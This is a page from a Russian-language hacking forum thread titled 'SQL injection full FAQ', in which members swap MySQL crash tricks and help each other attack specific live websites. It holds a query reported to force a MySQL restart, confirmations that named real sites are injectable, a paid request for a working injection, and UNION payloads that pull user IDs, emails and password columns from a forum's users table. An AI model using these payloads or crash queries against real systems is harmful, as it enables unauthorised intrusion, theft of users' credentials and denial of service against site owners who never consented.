Авторские статьи SQL injection полный FAQ

Discussion in 'Статьи' started by Dr.Z3r0, 7 Jul 2007.

  1. DyukiN

    DyukiN Banned

    Joined:
    10 Jul 2011
    Messages:
    253
    Likes Received:
    46
    Reputations:
    21
    хавидж активирован?
     
  2. cat1vo

    cat1vo Level 8

    Joined:
    12 Aug 2009
    Messages:
    375
    Likes Received:
    343
    Reputations:
    99
    Насколько помню проблема решается указыванием корректного Keyword!
     
  3. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Не знал куда запостить, сюда наверно логичнее всего...

    На статью не тянет, скорее заметка... Но тем не менее просто нужная информация...

    Итак, если нам вдруг понадобится срочно перезагрузить MySQL, а прав на RELOAD нет, чтобы выполнить
    Code:
    FLUSH PRIVILEGES;
    нам могут помочь следующие способы:

    Способ №1:

    Самый старый из найденных мной, но ни разу нигде не сработавших.

    Тем не менее человек на этом форуме утверждает, что это возможно...

    Тема 2008 года =)

    Кратко: MySQL падает так как надо указывать имя триггера в виде `mydb`.`mytrigger`, а не просто mytrigger.

    Code:
    mysql> CREATE TRIGGER mytrigger AFTER INSERT
        ->     ON `mydb`.`mytable` FOR EACH ROW
        -> BEGIN END;
    ERROR 2013 (HY000): Lost connection to MySQL server during query
    mysql>
    OC = Windows XP SP 2
    MySQL 5.0.16


    Проверил работоспособность на Centos-6.3 2.6.34

    Скрин приведён ниже.

    [​IMG]

    Результат - Способ не отработал.


    Способ №2:

    Заключается в эксплуатации бага #63775

    Кратко: MySQL падает при чтении заголовка, следующего за удалённой записью.

    Code:
    #
    # Bug#13510739 63775: SERVER CRASH ON HANDLER READ NEXT AFTER DELETE RECORD.
    #
     
    -- source include/have_innodb.inc
     
    CREATE TABLE bug13510739 (c INTEGER NOT NULL, PRIMARY KEY (c)) ENGINE=INNODB;
     
    INSERT INTO bug13510739 VALUES (1), (2), (3), (4);
     
    DELETE FROM bug13510739 WHERE c=2;
     
    HANDLER bug13510739 OPEN;
     
    HANDLER bug13510739 READ `primary` = (2);
     
    # this one crashes the server IF the bug IS present
    HANDLER bug13510739 READ `primary` NEXT;
     
    DROP TABLE bug13510739;
    На оффициальном сайте говорится, что пофиксено начиная с версии 5.1.62

    Решил испытать на своей системе, где версия MySQL 5.1.61.

    Скрины ниже.

    [​IMG]

    [​IMG]

    Зависимости:

    MySQL < 5.1.62


    Результат - падения MySQL не выявлено


    Способ №3:

    Вроде как найден участником форума Light и описан в том числе и в этом посте.

    Code:
    select 1 from table procedure analyse ((select 1 from (select 1)a),1);
    Скрины ниже.

    [​IMG]

    Зависимости:

    MySQL > 3


    Результат - успешный перезапуск MySQL. PROFIT !!!


    З.Ы. Это не дублирование - перетащил из другого места, тут логичнее всего оставить.
     
    _________________________
  4. aadktnbaov

    aadktnbaov New Member

    Joined:
    6 Jun 2011
    Messages:
    14
    Likes Received:
    1
    Reputations:
    0
    Вопрос знатокам в области SQL-инъекций.
    Что можно поиметь полезного ??? если на сайте включен отчет об ошибках MySQL и с помощью него (отчета об ошибках) известно , что сайт из POST-запроса фильтрует (тупо убирает) ТОЛЬКО одинарные и двойные кавычки кавычки, остальные символы не фильтрует и передаёт в SQL-запрос как есть.
    В частности не фильтрует обратный слэш ( \ ; ascii-код = 92 = 0x5C ) , с помощью которого (+ отчет об ошибках) и выяснено , какие именно символы сервис фильтрует из POST-запроса.

    sql-запрос вида
    SELECT `id`,`varAAA`,`varBBB`,`varCCC`,`varDDD` FROM `tableXXX` WHERE `varXXX`='postvalue1' AND `id`=postvalue2

    postvalue2 всегда приводится к типу integer
    hex-фишки типа 0х11 - не работают
    сайт режет всю часть строки после нецифрового символа
    т.е. postvalue2 , равное 123b456 преобразовывает для sql-запроса в 123

    P.S.
    за удачную инъекцию - щедрое вознаграждение
     
    #224 aadktnbaov, 15 Nov 2012
    Last edited: 15 Nov 2012
  5. satana_name

    satana_name New Member

    Joined:
    11 Apr 2012
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Всем привет, нашел ошибку - http://www.patriciapiccinini.net/news.php?id=46'

    Далее что - то не получается никак... Помогите, очень интересно двигаться в этом направлении.
     
  6. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    satana_name

    ошибка
    Норм
    Посмотрели
    2
    3


    версия
    5.0.67-community
    дальше читай тему в которой ты отписался, и незачем сюда что то писать! есть отдельная тема
     
    2 people like this.
  7. satana_name

    satana_name New Member

    Joined:
    11 Apr 2012
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    OxoTnik, спасибо, с темой уяснил.
     
  8. pharm_all

    pharm_all Member

    Joined:
    10 Sep 2009
    Messages:
    106
    Likes Received:
    7
    Reputations:
    0
    Есть ли тут скуля ?

    http://propelarizona.com/member/278
    http://propelarizona.com/member/173/50
     
  9. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    Скуля есть, для простоты инъекций используй url http://propelarizona.com/member/173/blog_id=50
     
  10. pharm_all

    pharm_all Member

    Joined:
    10 Sep 2009
    Messages:
    106
    Likes Received:
    7
    Reputations:
    0

    OxoTnik
    Не могу понять, там 3 версия мускула? Почему -то не выводит unionom 19 вроде полей.
     
  11. uinLEADER

    uinLEADER New Member

    Joined:
    29 Jan 2010
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    объясните плиз что такое подзапросы...
     
  12. LomasterII

    LomasterII New Member

    Joined:
    7 Jan 2013
    Messages:
    23
    Likes Received:
    4
    Reputations:
    5
    а что дальше, как их выбирать?
    запрос
    HTML:
    ?q=532&n=108316' and 1=0 union select 1,COLUMN_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.COLUMNS where table_name='aph_forum_users' -- 
    Выводит
    Id
    Nik
    Email
    Pasw
     
    #232 LomasterII, 31 Mar 2013
    Last edited: 31 Mar 2013
  13. BlackIce

    BlackIce Elder - Старейшина

    Joined:
    10 Jan 2013
    Messages:
    100
    Likes Received:
    31
    Reputations:
    27
    Ну у Вас выводятся имена столбцов таблицы. Чтобы вывести значения этих столбцов, просто впишите в запрос имена и укажите с какой таблицы делать выборку. В Вашем случает примерно так...
    ?q=532&n=108316' and 1=0 union select 1,CONCAT_WS(0x3a,Id,Nik,Email,Pasw),3,4,5,6,7 FROM aph_forum_users --
     
  14. Jack-seo

    Jack-seo New Member

    Joined:
    8 Sep 2013
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    я вот непойму,

    ну допустим есть уязвимый параметр id который попадает к примеру в такой запрос

    SELECT `domain` FROM `mpm` where `id` ='2'

    вот я например хочу вывести данные из информатион скхема

    SELECT `domain` FROM `mpm` where `id` ='2' union select
    `table_name` from information_schema.tables limit+0,1

    почему в ответ пишет Unknown table 'mpm' in information_schema ???

    (тестирую в phpmyadimn)
     
  15. \/IRUS

    \/IRUS Elder - Старейшина

    Joined:
    3 Aug 2012
    Messages:
    379
    Likes Received:
    498
    Reputations:
    37
    SELECT `domain` FROM `mpm` where `id` ='2' AND 1=0 union select
    `table_name` from information_schema.tables limit+0,1
     
  16. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    Произойдет такая же ошибка, так как, скорее всего, у него не выбрана база данных.

     
  17. maverick

    maverick New Member

    Joined:
    29 Aug 2010
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Друзья, помогите!

    Пытаюсь найти аргументы для товарища, который считает что конструкция безопасна:

    PHP:

    $data 
    $db->query_once('SELECT id, email FROM users WHERE email="' mysql_real_escape_string(substr($_POST['email'], 060)) . '" LIMIT 1');

    но к сожалению никак не нагуглю обход mysql_real_escape_string

    Я хочу сказать, что правильнее было бы параметризировать запрос, но пока я не покажу как обойти эту конструкцию. Потому прошу помощи. Если конечно я не заблуждаюсь.
     
  18. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    Вполне безопасная конструкция.
     
  19. zeleny_more

    zeleny_more New Member

    Joined:
    30 Oct 2013
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Народ, имеется инъекция по параметру, который подставляется в LIMIT в запросе. Поскольку LIMIT - самая последняя часть запроса, то не могу скорректировать запрос так, чтобы получить что-то полезное (ни UNION не могу вставить, ничего такого).. Есть вообще возможность из этого LIMITa выдернуть что-то полезное?
     
  20. t3cHn0iD

    t3cHn0iD Banned

    Joined:
    6 Apr 2009
    Messages:
    313
    Likes Received:
    63
    Reputations:
    66
    https://forum.antichat.ru/showpost.php?p=535989&postcount=4
    https://forum.antichat.ru/showthread.php?t=7118 - заголовок "инъекция после limit"